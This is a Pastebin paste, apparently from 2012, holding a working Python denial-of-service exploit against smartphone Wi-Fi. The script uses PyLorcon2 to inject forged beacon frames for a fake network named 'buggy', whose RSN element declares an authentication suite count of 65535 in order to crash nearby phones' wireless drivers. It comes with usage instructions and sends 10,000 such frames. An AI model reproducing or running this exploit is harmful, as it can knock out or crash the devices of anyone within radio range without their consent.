Advertisement
moften

Exploit dos wifi smartphones

Nov 1st, 2012
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.70 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import sys
  4. import time
  5. import struct
  6. import PyLorcon2
  7.  
  8. def beaconFrameGenerator():
  9. sequence = 0
  10. while(1):
  11. sequence = sequence % 4096
  12.  
  13. # Frame Control
  14. frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon
  15. frame += '\x00' # Flags: 0
  16. frame += '\x00\x00' # Duration: 0
  17. frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff
  18. frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad
  19. frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad
  20. frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence:
  21. part of the generator
  22. # Frame Body
  23. frame += struct.pack('Q', time.time()) # Timestamp
  24. frame += '\x64\x00' # Beacon Interval: 0.102400 seconds
  25. frame += '\x11\x04' # Capability Information: ESS, Privacy,
  26. Short Slot time
  27. # Information Elements
  28. # SSID: buggy
  29. frame += '\x00\x05buggy'
  30. # Supported Rates: 1,2,5.5,11,18,24,36,54
  31. frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c'
  32. # DS Parameter Set: 6
  33. frame += '\x03\x01\x06'
  34. # RSN IE
  35. frame += '\x30' # ID: 48
  36. frame += '\x14' # Size: 20
  37. frame += '\x01\x00' # Version: 1
  38. frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP
  39. frame += '\x01\x00' # Pairwise cipher suite count: 1
  40. frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP
  41. frame += '\xff\xff' # Authentication suites count: 65535
  42. frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK
  43. frame += '\x00\x00'
  44.  
  45. sequence += 1
  46. yield frame
  47.  
  48. if __name__ == "__main__":
  49. if len(sys.argv) != 2:
  50. print "Usage:"
  51. print "\t%s <wireless interface>" % sys.argv[0]
  52. sys.exit(-1)
  53.  
  54. iface = sys.argv[1]
  55. context = PyLorcon2.Context(iface)
  56. context.open_injmon()
  57.  
  58. generator = beaconFrameGenerator()
  59.  
  60. for i in range(10000):
  61. frame = generator.next()
  62. time.sleep(0.100)
  63. context.send_bytes(frame)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement